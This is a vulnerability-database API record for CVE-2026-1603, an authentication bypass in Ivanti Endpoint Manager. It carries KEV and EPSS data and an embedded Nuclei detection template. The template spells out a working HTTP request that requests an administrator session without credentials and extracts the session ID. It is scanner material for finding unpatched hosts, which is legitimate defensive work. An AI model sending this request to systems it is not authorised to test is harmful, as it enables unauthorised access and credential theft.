{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-1603/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-1603/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-1603/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-1603/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-1603/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-1603"},"sightings":{"href":"/api/v1/sightings/cve-2026-1603"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.8056,"kev":true,"percentile":0.99605},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-1603.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-1603\n\ninfo:\n  name: Ivanti Endpoint Manager - Authentication Bypass\n  author: DhiyaneshDk,watchtowrlabs\n  severity: high\n  description: |\n    Ivanti Endpoint Manager < 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.\n  impact: |\n    Remote attackers can leak stored credential data, potentially compromising sensitive information.\n  remediation: |\n    Update to version 2024 SU5 or later.\n  reference:\n    - https://x.com/watchtowrcyber/status/2022305033086235108/photo/1\n    - https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1603\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-1603\n    cwe-id: CWE-288\n    epss-score: 0.8056\n    epss-percentile: 0.99605\n    cpe: cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ivanti\n    product: endpoint_manager\n  tags: cve,cve2026,api,auth,ivanti,epmm,authbypass,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /RemoteControlAuth/api/Auth HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n            \"logintype\":\"64\",\n            \"username\":\"administrator\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"sessionid\":'\n\n      - type: word\n        part: body\n        words:\n          - '\"sessionid\": null'\n        negative: true\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        part: body\n        name: sessionid\n        json:\n          - '.sessionid'\n# digest: 4a0a004730450221009b5aa7e92b56b4bfcdc1e5f05f454ece9b801e148af5f258ed68911a063ea07f0220370eb4d6e94a3aafb9d56947c4e467e089154b29abaa2e984d3f3ab9ff468529:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-1603"}